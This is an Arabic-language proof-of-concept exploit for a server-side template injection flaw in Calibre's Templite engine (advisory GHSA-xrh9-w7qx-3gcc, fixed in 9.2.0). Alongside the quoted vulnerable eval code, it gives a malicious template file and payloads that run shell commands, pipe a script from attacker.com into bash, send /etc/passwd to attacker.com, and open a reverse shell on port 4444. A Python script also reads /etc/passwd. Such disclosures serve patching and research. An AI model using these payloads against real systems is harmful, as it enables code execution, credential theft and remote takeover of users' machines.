
إثبات المفهوم لثغرة حقن القوالب من جانب الخادم (SSTI) في محرك Templite الخاص بـ Calibre (GHSA-xrh9-w7qx-3gcc). يوضح تنفيذ كود Python تعسفي عبر قوالب تصدير HTML المقدمة من المستخدم في الإصدارات المتأثرة (≤ 9.1.0).
الخطورة: عالية (CVSS 7.8)
البرنامج المتأثر: calibre <= 9.1.0
تم التصحيح في الإصدار: 9.2.0
النشرة الأمنية: GHSA-xrh9-w7qx-3gcc
ثغرة حقن القوالب من جانب الخادم (SSTI) في محرك القوالب Templite الخاص ببرنامج Calibre تسمح بتنفيذ أكواد عشوائية عندما يقوم المستخدم بتحويل كتاب إلكتروني باستخدام ملف قالب مخصص خبيث عبر خيارات سطر الأوامر --template-html أو --template-html-index.
يقوم محرك Templite (src/templite/__init__.py) بتجميع وتقييم القوالب باستخدام دوال Python compile() و eval() دون أي عزل (sandboxing):
الكود الضعيف في src/templite/__init__.py:
# Line 72: Template is compiled to Python code
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# Line 90: Compiled code is executed via eval()
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # Arbitrary code execution
متجه الهجوم في src/calibre/ebooks/conversion/plugins/html_output.py:
# Lines 96-98: User-supplied template file is loaded
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# Line 136: Template is passed to vulnerable Templite engine
templite = Templite(template_html_index_data)
يوجد النمط نفسه لخيار --template-html (الأسطر 102-106، 200).
احفظ ما يلي باسم malicious_template.tmpl:
<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
# Convert any ebook using the malicious template
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
cat /tmp/pwned.txt
# Output: uid=501(username) gid=20(staff) groups=...
# Command execution
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# File exfiltration
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# Reverse shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite
# Command execution
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render()) # Prints current username
# File read
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render()) # Prints first line of /etc/passwd
من المتأثر:
سيناريو الهجوم:
ebook-convert book.epub out.zip --template-html=template.tmpl